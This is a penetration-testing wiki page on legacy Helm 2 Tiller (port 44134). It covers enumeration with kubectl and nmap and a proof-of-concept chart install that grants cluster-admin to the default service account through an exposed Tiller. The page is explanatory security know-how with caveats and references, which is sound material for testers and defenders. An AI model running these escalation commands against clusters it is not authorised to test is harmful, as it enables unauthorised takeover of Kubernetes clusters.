--- title: "44134 Tiller / Helm" section: "Network Services" sectionSlug: "network-services-pentesting" sourcePath: "src/network-services-pentesting/44134-pentesting-tiller-helm.md" sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/44134-pentesting-tiller-helm.md" sha: "188de82beb54e70956b2952367a0af91d26758b8" isIndex: false modified: true license: "CC-BY-NC-4.0" --- # 44134 Tiller / Helm ## Basic Information Helm is a **package manager** for Kubernetes, and its packages are called **charts**. This page concerns the historical Helm 2 architecture, in which the client talked to an in-cluster server named **Tiller** over TCP port 44134. Helm 3 removed Tiller, so finding this port normally indicates a legacy deployment.[[1]](#references) **Default port:** 44134 ```text PORT STATE SERVICE VERSION 44134/tcp open unknown ``` ## Enumeration If you can **enumerate pods and/or services** of different namespaces enumerate them and search for the ones with **"tiller" in their name**: ```bash kubectl get pods | grep -i "tiller" kubectl get services | grep -i "tiller" kubectl get pods -n kube-system | grep -i "tiller" kubectl get services -n kube-system | grep -i "tiller" kubectl get pods -n | grep -i "tiller" kubectl get services -n | grep -i "tiller" ``` Examples: ```bash kubectl get pods -n kube-system NAME READY STATUS RESTARTS AGE kube-scheduler-controlplane 1/1 Running 0 35m tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m kubectl get services -n kube-system NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE kube-dns ClusterIP 10.96.0.10 53/UDP,53/TCP,9153/TCP 35m tiller-deploy ClusterIP 10.98.57.159 44134/TCP 35m ``` You could also try to find this service running checking the port 44134: ```bash sudo nmap -sS -p 44134 ``` After discovering it, install a compatible Helm 2 client with a package manager such as Homebrew or download the matching binary from Helm's official releases. A Helm 3 client does not implement the same Tiller workflow.[[2]](#references)[[5]](#references) Then, you can **enumerate the service**: ```text helm --host tiller-deploy.kube-system:44134 version ``` ### Privilege Escalation Helm 2 commonly deployed Tiller in `kube-system`. The effective impact depends on Tiller's service account and whether TLS/authentication is configured; an exposed Tiller running with broad RBAC permissions can provide a path to cluster privilege escalation.[[3]](#references) One proof of concept installs a chart that creates a cluster-admin binding for the `default` service account. It succeeds only if Tiller itself is allowed to create those RBAC objects; it does not make every Tiller deployment automatically cluster-admin.[[4]](#references) ```text git clone https://github.com/Ruil1n/helm-tiller-pwn helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn /pwnchart ``` The chart's exact `clusterrole.yaml` and `clusterrolebinding.yaml` manifests grant broad permissions to the `default` service account. Inspect both files before using the proof of concept.[[3]](#references)[[6]](#references)[[7]](#references) ## References - [1] [Helm - Changes Since Helm 2](https://helm.sh/docs/faq/changes_since_helm2/) - [2] [Helm 2 documentation - Installing Helm](https://v2.helm.sh/docs/using_helm/#installing-helm) - [3] [Kubernetes中使用Helm2的安全风险 (Security Risks of Using Helm2 in Kubernetes)](http://rui0.cn/archives/1573) - [4] [`helm-tiller-pwn` proof of concept](https://github.com/Ruil1n/helm-tiller-pwn) - [5] [Official Helm releases](https://github.com/helm/helm/releases) - [6] [`helm-tiller-pwn` `clusterrole.yaml`](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) - [7] [`helm-tiller-pwn` `clusterrolebinding.yaml`](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml)